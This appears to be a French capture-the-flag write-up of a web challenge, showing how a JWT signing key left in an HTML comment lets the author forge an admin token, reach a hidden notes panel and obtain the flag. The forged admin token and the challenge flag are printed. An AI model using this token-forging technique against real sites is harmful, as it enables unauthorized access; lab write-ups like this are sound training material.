Qui a laissé trainer son bloc note ?
Ce challenge était un challenge web. Thomas Kaiser Broyer, l’individu décédé du challenge précédent a créé un site pour partager des notes. Cependant, ses notes privés sont cachés derrière un panel admin:

En entrant n’importe quel nom d’utilisateur et mot de passe, nous arrivons sur une page de refus d’accès. Nous obtenons le token:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJyb2xlIjoiZ3Vlc3QiLCJpYXQiOjE3MTk2MTc5Mjd9.v98LwPCOZAa9kBSfjuHVd-Mgd8318TAb3l7j1WbqcJA
qui se décode par:
{
"alg": "HS256",
"typ": "JWT"
}
{
"role": "guest",
"iat": 1719617927
}
En inspectant le code source de la page de connexion:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Connexion</title>
<link rel="stylesheet" href="styles.css">
</head>
<body>
<h2 class="page-title">Page de connexion</h2>
<div class="login-container">
<form action="/login" method="post">
<label for="username">Nom d'utilisateur:</label>
<input type="text" id="username" name="username"><br>
<label for="password">Mot de passe:</label>
<input type="password" id="password" name="password"><br>
<input type="submit" value="Login">
</form>
<div class="create-notepad">Créer son propre bloc-note</div>
<!-- Clé a n'utiliser que pour développer : VerySecretKey -->
</div>
</body>
</html>
Un secret est resté hardcodé: VerySecretKey
Ce secret nous permet de créer n’importe quel token d’accès sans que le serveur le refuse.
J’ai donc créé le token suivant:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJyb2xlIjoiYWRtaW4iLCJpYXQiOjE3MTk2MTc5Mjd9.naByVm_AYfEi5A2JvrdPYbl0AAYGIMFuHsSXsfb-ZV0
qui se traduit par:
{
"role": "admin",
"iat": 1719617927
}
Nous pouvons ensuite aller sur http://challenges.shutlock.fr:50007/admin?token=${token}
Solution
Le flag obtenu est:
SHLK{N3_l1s_pa5_l3s_not3s}